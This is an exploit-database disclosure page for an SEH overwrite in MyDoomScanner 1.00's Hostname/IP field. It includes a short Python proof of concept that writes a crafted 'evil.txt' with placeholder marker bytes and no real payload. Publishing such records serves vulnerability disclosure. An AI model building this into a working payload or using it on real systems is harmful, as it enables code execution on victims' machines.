header-logo
Suggest Exploit
vendor:
MyDoomScanner
by:
Anurag Srivastava
7,6
CVSS
HIGH
SEH Overwrite POC
119
CWE
Product Name: MyDoomScanner
Affected Version From: 1.00
Affected Version To: 1.00
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows XP
2017

MyDoomScanner1.00 Hostname/IP Field SEH Overwrite POC

An SEH overwrite vulnerability exists in MyDoomScanner1.00 when a maliciously crafted input is supplied to the Hostname/IP Field. This can be exploited to execute arbitrary code by overwriting the SEH handler with a malicious payload.

Mitigation:

Upgrade to the latest version of MyDoomScanner1.00
Source

Exploit-DB raw data:

#!/usr/bin/python
# Exploit Title     : MyDoomScanner1.00 Hostname/IP Field SEH Overwrite POC
# Discovery by      : Anurag Srivastava
# Email             : anurag.srivastava@pyramidcyber.com
# Discovery Date    : 17/08/2017
# Software Link     : https://www.mcafee.com/in/downloads/free-tools/mydoomscanner.aspx
# Tested Version    : 1.00
# Vulnerability Type: SEH Overwrite POC
# Tested on OS      : Windows XP 
# Steps to Reproduce: Copy contents of evil.txt file and paste in the Hostname/IP Field. Press ->
##########################################################################################
#  -----------------------------------NOTES----------------------------------------------#
##########################################################################################
 
#SEH chain of main thread
#Address    SE handler
#0012FAF8   43434343
#42424242   *** CORRUPT ENTRY ***
 
# Offset to the SEH Frame is 536
buffer = "A"*520
# Address of the Next SEH Frame
nseh = "B"*4
# Address to the Handler Code
seh = "C" *4
f = open("evil.txt", "wb")
f.write(buffer+nseh+seh)
f.close()